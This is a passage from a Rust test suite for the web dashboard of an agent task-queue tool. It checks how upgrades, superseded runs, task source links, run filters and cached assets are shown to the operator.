22563 "pressing the button should not be a surprise about what it moves to"
22564 );
22565 }
22566
22567 #[test]
22568 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22569 for stage in ["downloading", "replaced", "parking", "restarting"] {
22570 assert!(
22571 APP_JS.contains(&format!("\"{stage}\"")),
22572 "the phone must be able to tell {stage} apart from the others"
22573 );
22574 }
22575 assert!(APP_JS.contains(".waiting_on"));
22576 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22581 assert!(APP_JS.contains("reconnects on its own"));
22582 }
22583
22584 #[test]
22585 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22586 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22587 ..APP_JS.find("function upgrade(").expect("upgrade")];
22588 assert!(!body.contains(
22589 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22590 ));
22591 assert!(body.contains("renderUpgradeError();"));
22592 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22593 }
22594
22595 #[test]
22596 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22597 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22600 assert!(APP_JS.contains("function upgradeOverdue("));
22601 }
22602
22603 #[test]
22604 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22605 assert!(
22606 APP_JS.contains("Updated to ${upgradeInfo.to"),
22607 "the operator who asked for the restart wants to know it worked"
22608 );
22609 }
22610
22611 #[test]
22612 fn an_error_is_visible_from_where_the_button_is() {
22613 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22618 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22619 assert!(
22620 alert.contains("position: fixed"),
22621 "an error about the thing under your thumb has to be visible from \
22622 where your thumb is: {alert}"
22623 );
22624 assert!(
22625 alert.contains("z-index: 25"),
22626 "above the dock (20) and the run-actions FAB (15), so neither \
22627 buries it: {alert}"
22628 );
22629 assert!(
22630 alert.contains("var(--tap)"),
22631 "and clear of the dock and the home indicator: {alert}"
22632 );
22633 assert!(
22636 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22637 "the FAB's column stays free: {alert}"
22638 );
22639 }
22640
22641 #[tokio::test]
22642 async fn an_older_attempt_says_what_replaced_it() {
22643 let fx = Fixture::start().await;
22644 let q = fx.queue();
22645 let runs = fx.runs();
22646 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22647 write_run(&runs, first, RunStatus::Stalled);
22648 write_run(&runs, second, RunStatus::Blocked);
22649
22650 let mut t = Task::new(
22651 "one task".to_owned(),
22652 "do it".to_owned(),
22653 PathBuf::from("/repo"),
22654 Source::Human,
22655 );
22656 t.runs = vec![first.to_owned(), second.to_owned()];
22657 q.put(&mut t).expect("put");
22658
22659 let rows = fx.get("/api/runs").await.json();
22663 let by = |short: &str| -> Value {
22664 rows.as_array()
22665 .unwrap()
22666 .iter()
22667 .find(|r| r["short"] == short)
22668 .cloned()
22669 .unwrap_or(Value::Null)
22670 };
22671 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22672 assert!(
22673 by("bbbb")["superseded_by"].is_null(),
22674 "the latest attempt is not superseded by anything"
22675 );
22676 assert!(APP_JS.contains("run.superseded_by"));
22678 assert!(APP_JS.contains("Superseded by"));
22679 }
22680
22681 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22682 let mut t = Task::new(
22683 "one task".to_owned(),
22684 "do it".to_owned(),
22685 PathBuf::from("/repo"),
22686 Source::Human,
22687 );
22688 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22689 t.status = status;
22690 t
22691 }
22692
22693 #[test]
22694 fn source_link_picks_the_page_that_filed_the_task() {
22695 let agent = |node: &str| Source::Agent {
22696 run: "20260904-014455-ab12".to_owned(),
22697 node: node.to_owned(),
22698 };
22699 let chat = source_link(&agent("chat")).expect("chat link");
22700 assert_eq!(chat.kind, "chat");
22701 assert_eq!(chat.id, "20260904-014455-ab12");
22702 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22703 let run = source_link(&agent("implement")).expect("run link");
22704 assert_eq!(
22705 (run.kind, run.href.as_str()),
22706 ("run", "#/runs/20260904-014455-ab12")
22707 );
22708 assert_eq!(source_link(&Source::Human), None);
22709 assert_eq!(
22710 source_link(&Source::Issue {
22711 number: 3,
22712 repo: "o/r".to_owned()
22713 }),
22714 None
22715 );
22716 let odd = source_link(&Source::Agent {
22717 run: "a b/c".to_owned(),
22718 node: "chat".to_owned(),
22719 })
22720 .expect("link");
22721 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22722 }
22723
22724 #[test]
22725 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22726 assert!(
22727 !APP_JS.contains("src.node === \"chat\""),
22728 "inline href rule is back"
22729 );
22730 assert!(
22731 APP_JS.matches("sourceLinkOf(").count() >= 4,
22732 "helper must serve every page"
22733 );
22734 assert!(
22735 APP_JS.matches("openChatLink(").count() >= 3,
22736 "the run page still needs its explicit chat link"
22737 );
22738 assert!(
22739 !APP_JS.contains("const openChat = el("),
22740 "the Queue card duplicates its source label link again"
22741 );
22742 assert!(
22743 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22744 "the task page must link a chat source label too"
22745 );
22746 }
22747
22748 #[test]
22749 fn task_ref_carries_the_source_link_for_a_chat_task() {
22750 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22751 t.source = Source::Agent {
22752 run: "20260904-014455-ab12".to_owned(),
22753 node: "chat".to_owned(),
22754 };
22755 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22756 let v = serde_json::to_value(&out).expect("json");
22757 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22758 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22759 assert_eq!(v["source_label"], t.source.label());
22760
22761 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22762 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22763 .expect("json");
22764 assert!(v["source_link"].is_null(), "{v}");
22765 }
22766
22767 #[test]
22768 fn task_view_serializes_source_link() {
22769 let mut t = Task::new(
22770 "t".to_owned(),
22771 "t".to_owned(),
22772 PathBuf::from("/repo"),
22773 Source::Agent {
22774 run: "20260901-000000-aaaa".to_owned(),
22775 node: "implement".to_owned(),
22776 },
22777 );
22778 t.runs.clear();
22779 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22780 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22781 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22782 }
22783
22784 #[test]
22785 fn task_view_serializes_urgent_flag() {
22786 let mut t = Task::new(
22787 "t".to_owned(),
22788 "t".to_owned(),
22789 PathBuf::from("/repo"),
22790 Source::Human,
22791 );
22792 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22793 assert_eq!(v["urgent"], false, "{v}");
22794 t.urgent = true;
22795 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22796 assert_eq!(v["urgent"], true, "{v}");
22797 assert!(APP_JS.contains("task.urgent === true"));
22798 }
22799
22800 #[tokio::test]
22801 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22802 let fx = Fixture::start().await;
22803 let runs = fx.runs();
22804 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22805 write_run(&runs, old, RunStatus::Blocked);
22806 write_run(&runs, new, RunStatus::Merged);
22807 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22808 fx.queue().put(&mut t).expect("put");
22809
22810 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22811 let task = &view["task"];
22812 assert_eq!(task["status"], "done");
22813 assert_eq!(task["is_latest"], false);
22814 assert_eq!(task["latest"]["short"], "bbbb");
22815 assert_eq!(task["finished_by"]["id"], new);
22816 assert_eq!(task["finished_by"]["outcome"], "merged");
22817 assert_eq!(task["closed_by_hand"], false);
22818 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22819 assert!(APP_JS.contains("finished_by"));
22820 assert!(APP_JS.contains("superseded by run"));
22821 }
22822
22823 #[tokio::test]
22824 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22825 let fx = Fixture::start().await;
22826 let runs = fx.runs();
22827 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22828 write_run(&runs, old, RunStatus::Stalled);
22829 write_run(&runs, new, RunStatus::Blocked);
22830 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22831 fx.queue().put(&mut t).expect("put");
22832
22833 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22834 assert_eq!(task["status"], "held");
22835 assert_eq!(task["is_latest"], true);
22836 assert!(task["latest"].is_null());
22837 assert!(task["finished_by"].is_null());
22838 assert_eq!(task["closed_by_hand"], false);
22839 }
22840
22841 #[tokio::test]
22842 async fn a_direct_run_has_no_task_outcome() {
22843 let fx = Fixture::start().await;
22844 let runs = fx.runs();
22845 let id = "20260901-000000-aaaa";
22846 write_run(&runs, id, RunStatus::Blocked);
22847 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22848 assert!(view["task"].is_null());
22849 }
22850
22851 #[test]
22852 fn task_outcome_does_not_guess_a_finishing_run() {
22853 let a = "20260901-000000-aaaa";
22854 let b = "20260901-000000-bbbb";
22855 let c = "20260901-000000-cccc";
22856 let dir = tempfile::tempdir().expect("tempdir");
22857 write_run(dir.path(), a, RunStatus::Blocked);
22858 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22859 let read = |id: &str| read_run(dir.path(), id).ok();
22861 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22864 let out = task_outcome(&t, a, 3, read);
22865 assert!(out.finished_by.is_none());
22866 assert!(out.closed_by_hand);
22867 let latest = out.latest.expect("latest");
22868 assert_eq!(latest.id, c);
22869 assert_eq!(latest.status, None);
22870 assert_eq!(latest.outcome, "record unreadable");
22871
22872 write_run(dir.path(), c, RunStatus::Ready);
22874 let t = outcome_task(&[a, c], TaskStatus::Done);
22875 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22876 assert_eq!(out.finished_by.expect("finisher").id, c);
22877 assert!(!out.closed_by_hand);
22878
22879 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22881 assert!(task_outcome(&t, a, 3, read).is_latest);
22882 }
22883
22884 #[tokio::test]
22885 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22886 let fx = Fixture::start().await;
22891 let q = fx.queue();
22892 let runs = fx.runs();
22893 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22894 write_run(&runs, first, RunStatus::Blocked);
22895 write_run(&runs, second, RunStatus::Merged);
22896
22897 let mut t = Task::new(
22898 "one task".to_owned(),
22899 "do it".to_owned(),
22900 PathBuf::from("/repo"),
22901 Source::Human,
22902 );
22903 t.runs = vec![first.to_owned(), second.to_owned()];
22904 q.put(&mut t).expect("put");
22905
22906 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22907 assert_eq!(earlier["superseded_by"], "dddd");
22908 assert_eq!(earlier["latest_attempt"]["id"], second);
22909 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22910 assert_eq!(
22911 earlier["latest_attempt"]["resolved"], true,
22912 "the run that replaced it landed, so this one reads as settled"
22913 );
22914
22915 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22916 assert!(
22917 later["superseded_by"].is_null(),
22918 "the latest attempt is not superseded by anything"
22919 );
22920 assert!(
22921 later["latest_attempt"].is_null(),
22922 "the latest attempt has no later attempt of its own"
22923 );
22924
22925 assert!(APP_JS.contains("run.latest_attempt"));
22932 assert!(APP_JS.contains("data-superseded"));
22933 assert!(APP_JS.contains("#/runs/${latest.id}"));
22934 }
22935
22936 #[tokio::test]
22937 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22938 let fx = Fixture::start().await;
22944 let q = fx.queue();
22945 let runs = fx.runs();
22946 let (a, b, c) = (
22947 "20260901-000000-aaaa",
22948 "20260901-000000-bbbb",
22949 "20260901-000000-cccc",
22950 );
22951 write_run(&runs, a, RunStatus::Blocked);
22952 write_run(&runs, b, RunStatus::Blocked);
22953 write_run(&runs, c, RunStatus::Merged);
22954
22955 let mut t = Task::new(
22956 "retried twice".to_owned(),
22957 "do it".to_owned(),
22958 PathBuf::from("/repo"),
22959 Source::Human,
22960 );
22961 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22962 q.put(&mut t).expect("put");
22963
22964 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22965 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22966 assert_eq!(
22967 view["latest_attempt"]["id"], c,
22968 "the chain's current head, not the intermediate Blocked retry"
22969 );
22970 assert_eq!(view["latest_attempt"]["resolved"], true);
22971
22972 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22973 assert_eq!(mid["latest_attempt"]["id"], c);
22974 assert_eq!(mid["latest_attempt"]["resolved"], true);
22975 }
22976
22977 #[tokio::test]
22978 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22979 let fx = Fixture::start().await;
22980 let q = fx.queue();
22981 let runs = fx.runs();
22982
22983 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22986 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22987 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22988 let mut t1 = Task::new(
22989 "still stuck".to_owned(),
22990 "do it".to_owned(),
22991 PathBuf::from("/repo"),
22992 Source::Human,
22993 );
22994 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22995 q.put(&mut t1).expect("put");
22996 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22997 assert_eq!(view1["latest_attempt"]["resolved"], false);
22998 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22999 assert_eq!(view1["latest_attempt"]["done"], true);
23000
23001 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23003 write_run(&runs, run_a, RunStatus::Blocked);
23004 write_run(&runs, run_b, RunStatus::Implementing);
23005 let mut t3 = Task::new(
23006 "retrying".to_owned(),
23007 "do it".to_owned(),
23008 PathBuf::from("/repo"),
23009 Source::Human,
23010 );
23011 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23012 q.put(&mut t3).expect("put");
23013 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23014 assert_eq!(view3["latest_attempt"]["id"], run_b);
23015 assert_eq!(view3["latest_attempt"]["resolved"], false);
23016 assert_eq!(view3["latest_attempt"]["done"], false);
23017
23018 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23023 write_run(&runs, noop_a, RunStatus::Blocked);
23024 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23025 let mut t2 = Task::new(
23026 "claims done".to_owned(),
23027 "do it".to_owned(),
23028 PathBuf::from("/repo"),
23029 Source::Human,
23030 );
23031 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23032 q.put(&mut t2).expect("put");
23033 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23034 assert_eq!(
23035 view2["latest_attempt"]["resolved"], false,
23036 "an unverified no-op claim must not read as a confirmed finish"
23037 );
23038
23039 assert!(APP_JS.contains("latest.resolved"));
23042 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23045 assert!(APP_JS.contains("Latest attempt: "));
23046 assert!(APP_JS.contains("in flight"));
23047 assert!(APP_JS.contains("not resolved"));
23048 }
23049
23050 #[tokio::test]
23051 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23052 let fx = Fixture::start().await;
23053 let js = fx.get("/app.js").await;
23059 assert_eq!(js.status, 200);
23060 let tag = js
23061 .header("etag")
23062 .expect("an etag to revalidate against")
23063 .to_owned();
23064 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23065 assert_eq!(
23066 js.header("cache-control"),
23067 Some("no-cache, must-revalidate"),
23068 "the phone has to ask every time"
23069 );
23070
23071 let again = fx
23074 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23075 .await;
23076 assert_eq!(
23077 again.status, 304,
23078 "a deck it already has costs one round trip"
23079 );
23080 assert!(again.body.is_empty(), "304 carries no body");
23081
23082 let weak = fx
23085 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23086 .await;
23087 assert_eq!(weak.status, 304);
23088 let stale = fx
23089 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23090 .await;
23091 assert_eq!(stale.status, 200, "an older build must be replaced");
23092 assert!(stale.body.contains("renderRunActions"));
23093 }
23094
23095 #[test]
23096 fn the_task_detail_has_an_actions_fab_and_sheet() {
23097 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23098 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23099 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23100 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23102 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23103 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23105 assert!(APP_JS.contains("renderTaskActions(null);"));
23106 let sheet = APP_JS
23108 .find("function renderTaskActions")
23109 .expect("sheet renderer");
23110 let body = &APP_JS[sheet..sheet + 3000];
23111 assert!(body.contains("changePriority("));
23112 assert!(body.contains("openTaskEdit(task)"));
23113 assert!(body.contains("renderTaskHoldBox(host"));
23114 assert!(body.contains("renderTaskDoneBox(host"));
23115 assert!(body.contains("renderTaskDeleteBox(host"));
23116 assert!(APP_JS.contains("API.priority(id)"));
23117 assert!(APP_JS.contains("API.deleteTask(id)"));
23118 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23120 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23122 }
23123
23124 #[test]
23125 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23126 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23127 let actions = INDEX_HTML
23128 .find("id=\"run-actions-box\"")
23129 .expect("actions box");
23130 assert!(task < actions, "the task entry comes first in the sheet");
23131 assert!(APP_JS.contains("renderRunTaskEntry"));
23132 assert!(APP_JS.contains("\"Open task \""));
23133 assert!(APP_JS.contains("started directly, no task"));
23135 assert!(APP_JS.contains("sheet-task-link"));
23136 assert!(APP_JS.contains("task-chip-link"));
23137 }
23138
23139 #[test]
23140 fn the_deck_never_sends_the_operator_to_a_terminal() {
23141 assert!(
23144 !APP_JS.contains("Run `magi fold` first"),
23145 "the deck must offer the fold, not prescribe a shell command"
23146 );
23147 assert!(APP_JS.contains("foldRun:"));
23148 assert!(APP_JS.contains("resumeRun:"));
23149 assert!(APP_JS.contains("renderRunActions"));
23150
23151 assert!(APP_JS.contains("armedFold"));
23153 assert!(APP_JS.contains("Yes, fold worktrees"));
23154
23155 assert!(APP_JS.contains("can no longer be resumed"));
23158 }
23159
23160 #[test]
23161 fn a_finished_run_explains_itself_with_its_own_last_line() {
23162 assert!(
23168 !APP_JS.contains("collapsed on agent quota"),
23169 "a stall must not be explained by a cause the deck did not check"
23170 );
23171 assert!(
23172 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23173 "and a block must not offer a guess with an `or` in it"
23174 );
23175
23176 assert!(
23180 APP_JS.contains("setText(r.event, run.event || \"\")"),
23181 "the run's last line is rendered unconditionally"
23182 );
23183 assert!(
23184 !APP_JS.contains("moving && run.event"),
23185 "and never gated on the run still moving"
23186 );
23187
23188 assert!(APP_JS.contains("lost to quota"));
23190 }
23191
23192 #[test]
23214 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23215 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23216 let shapes_body_start =
23217 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23218 let shapes_close = APP_JS[shapes_body_start..]
23219 .find("].map(")
23220 .expect("the shape list is closed by its done-computing .map(...)")
23221 + shapes_body_start;
23222 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23223
23224 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23225 for entry in shapes_src.split('{').skip(1) {
23226 let waiting = entry.contains("waiting: true");
23227 let dead = entry.contains("live: \"dead\"");
23228 let status_at =
23229 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23230 let status_end = entry[status_at..]
23231 .find('"')
23232 .expect("the status string is closed")
23233 + status_at;
23234 let parked = entry.contains("display_status: \"parked\"");
23235 shapes.push((
23236 waiting,
23237 entry[status_at..status_end].to_string(),
23238 dead,
23239 parked,
23240 ));
23241 }
23242 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23243
23244 let done_rule_marker = "done: !";
23248 let done_rule_at = APP_JS[shapes_close..]
23249 .find(done_rule_marker)
23250 .expect("the done rule follows the shape list")
23251 + shapes_close
23252 + done_rule_marker.len();
23253 let includes_at = APP_JS[done_rule_at..]
23254 .find(".includes(shape.status)")
23255 .expect("the done rule ends in .includes(shape.status)")
23256 + done_rule_at;
23257 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23258 .trim()
23259 .trim_start_matches('[')
23260 .trim_end_matches(']')
23261 .split(',')
23262 .map(|s| s.trim().trim_matches('"'))
23263 .filter(|s| !s.is_empty())
23264 .collect();
23265
23266 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23267 .into_iter()
23268 .map(|(waiting, status, dead, parked)| {
23269 let done = !not_done.contains(&status.as_str());
23270 (waiting, status, dead, parked, done)
23271 })
23272 .collect();
23273
23274 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23278 if waiting {
23279 return "waiting";
23280 }
23281 if dead
23282 && !parked
23283 && !matches!(
23284 status,
23285 "merged"
23286 | "ready"
23287 | "stalled"
23288 | "blocked"
23289 | "failed"
23290 | "verified_noop"
23291 | "superseded"
23292 | "already_in_base"
23293 )
23294 {
23295 return "stale";
23296 }
23297 match status {
23298 "merged" | "ready" => "landed",
23299 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23300 | "already_in_base" => "ended",
23301 _ => "flight",
23302 }
23303 }
23304
23305 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23308 match filter_key {
23309 "active" => !done,
23310 "flight" => !done && !waiting && !dead,
23311 "stale" => !done && !waiting && dead,
23312 "waiting" => waiting,
23313 "done" => done,
23314 "all" => true,
23315 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23316 }
23317 }
23318
23319 let compatible = |section: &str, filter_key: &str| {
23320 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23321 run_section(*waiting, status, *dead, *parked) == section
23322 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23323 })
23324 };
23325
23326 let expected = [
23331 ("waiting", [true, false, false, true, true, true]),
23332 ("stale", [true, false, true, false, false, true]),
23333 ("flight", [true, true, false, false, false, true]),
23334 ("landed", [false, false, false, false, true, true]),
23335 ("ended", [false, false, false, false, true, true]),
23336 ];
23337 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23338
23339 for (section, wants) in expected {
23340 for (filter_key, want) in filter_keys.iter().zip(wants) {
23341 assert_eq!(
23342 compatible(section, filter_key),
23343 want,
23344 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23345 );
23346 }
23347 }
23348
23349 assert!(
23352 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23353 );
23354 assert!(APP_JS.contains(
23355 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23356 ));
23357 assert!(APP_JS.contains(
23358 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23359 ));
23360 }
23361
23362 #[tokio::test]
23363 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23364 let dir = tempfile::tempdir().expect("tempdir");
23368 let explicit = dir.path().join("not-a-checkout");
23369 std::fs::create_dir_all(&explicit).expect("create dir");
23370 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23371
23372 let missing = dir.path().join("does-not-exist-at-all");
23373 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23374 }
23375
23376 #[test]
23377 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23378 assert!(APP_JS.contains("function statsDonutArcs"));
23379 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23380 assert!(APP_JS.contains("function statusInBucket"));
23382 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23383 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23384 let buckets = [
23385 "merged",
23386 "ready",
23387 "in_progress",
23388 "blocked",
23389 "failed",
23390 "verified_noop",
23391 "superseded",
23392 "stalled",
23393 ];
23394 for key in buckets {
23395 let var = format!("--verdict-{key}:");
23396 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23398 assert!(
23399 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23400 "{key}"
23401 );
23402 }
23403 }
23404
23405 #[tokio::test]
23406 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23407 let dir = tempfile::tempdir().expect("tempdir");
23408 let queue = Queue::at(dir.path().join("queue"));
23409 let talks = Talks::at(dir.path().join("talks"));
23410 std::fs::create_dir_all(queue.root()).unwrap();
23411 std::fs::create_dir_all(talks.root()).unwrap();
23412
23413 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23415 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23416
23417 let mut task = Task::new(
23419 "title".into(),
23420 "inst".into(),
23421 PathBuf::from("/repo"),
23422 Source::Human,
23423 );
23424 task.id = "20261019-123456-abcd".into();
23425 std::fs::write(
23427 queue.path_of(&task.id),
23428 serde_json::to_string(&task).unwrap(),
23429 )
23430 .unwrap();
23431
23432 let talk_id = "20261019-234567-cdef";
23433 seed_talk_at(&talks, talk_id, "open");
23434
23435 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23437 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23438
23439 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23441 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23442 }
23443
23444 #[tokio::test]
23445 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23446 let home = tempfile::tempdir().unwrap();
23447 let ui = delta_test_ui(home.path());
23448 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23450 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23451 assert!(
23452 questions_list(State(ui.clone()))
23453 .await
23454 .unwrap()
23455 .0
23456 .is_empty()
23457 );
23458 assert!(
23459 question_origins(State(ui.clone()))
23460 .await
23461 .unwrap()
23462 .0
23463 .is_empty()
23464 );
23465 let mut question = Question::new(
23466 "run-history".into(),
23467 "review".into(),
23468 "seat".into(),
23469 "Useful question".into(),
23470 "Useful detail".into(),
23471 vec![],
23472 );
23473 ui.questions.put(&mut question).unwrap();
23474 let core = questions_core(State(ui.clone())).await.unwrap().0;
23475 assert_eq!(core.len(), 1);
23476 assert_eq!(core[0].question.summary, "Useful question");
23477 assert!(!core[0].can_consult_chat);
23478 assert!(core[0].origin_chat.is_none());
23479 assert_eq!(core[0].record_revision, question_record_revision(&question));
23480 assert!(question_origins(State(ui.clone())).await.is_err());
23481 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23482 }
23483
23484 #[tokio::test]
23485 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23486 let home = tempfile::tempdir().unwrap();
23487 let ui = delta_test_ui(home.path());
23488 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23489 let mut parent = Task::new(
23490 "parent".into(),
23491 "body".into(),
23492 PathBuf::from("/repo"),
23493 Source::Agent {
23494 run: chat.clone(),
23495 node: crate::queue::CHAT_NODE.into(),
23496 },
23497 );
23498 parent.id = "parent-task".into();
23499 parent.runs = vec!["parent-run".into()];
23500 ui.queue.put(&mut parent).unwrap();
23501 let mut previous = parent;
23502 for generation in 1..=2 {
23503 let mut child = Task::new(
23504 "child".into(),
23505 "body".into(),
23506 PathBuf::from("/repo"),
23507 Source::Human,
23508 );
23509 child.id = format!("child-task-{generation}");
23510 child.runs = vec![format!("child-run-{generation}")];
23511 child.followup = Some(crate::queue::FollowUp {
23512 origin_task: Some(previous.id.clone()),
23513 run: previous.runs[0].clone(),
23514 pr: String::new(),
23515 findings: vec![],
23516 generation,
23517 });
23518 ui.queue.put(&mut child).unwrap();
23519 previous = child;
23520 }
23521 let mut collision = Task::new(
23524 "collision".into(),
23525 String::new(),
23526 PathBuf::from("/repo"),
23527 Source::Human,
23528 );
23529 collision.id = "collision-task".into();
23530 collision.runs = vec![previous.id.clone()];
23531 ui.queue.put(&mut collision).unwrap();
23532 let mut questions = Vec::new();
23533 for (node, reference, expected, eligible) in [
23534 (crate::triage::NODE, previous.id.as_str(), true, false),
23535 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23536 ("review", previous.runs[0].as_str(), true, true),
23537 (
23538 crate::bump::NOTICE_NODE,
23539 previous.runs[0].as_str(),
23540 true,
23541 false,
23542 ),
23543 ("review", previous.id.as_str(), false, false),
23545 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23546 ("review", "unrelated", false, false),
23547 ] {
23548 let mut q = Question::new(
23549 reference.into(),
23550 node.into(),
23551 "seat".into(),
23552 "Question".into(),
23553 String::new(),
23554 vec![],
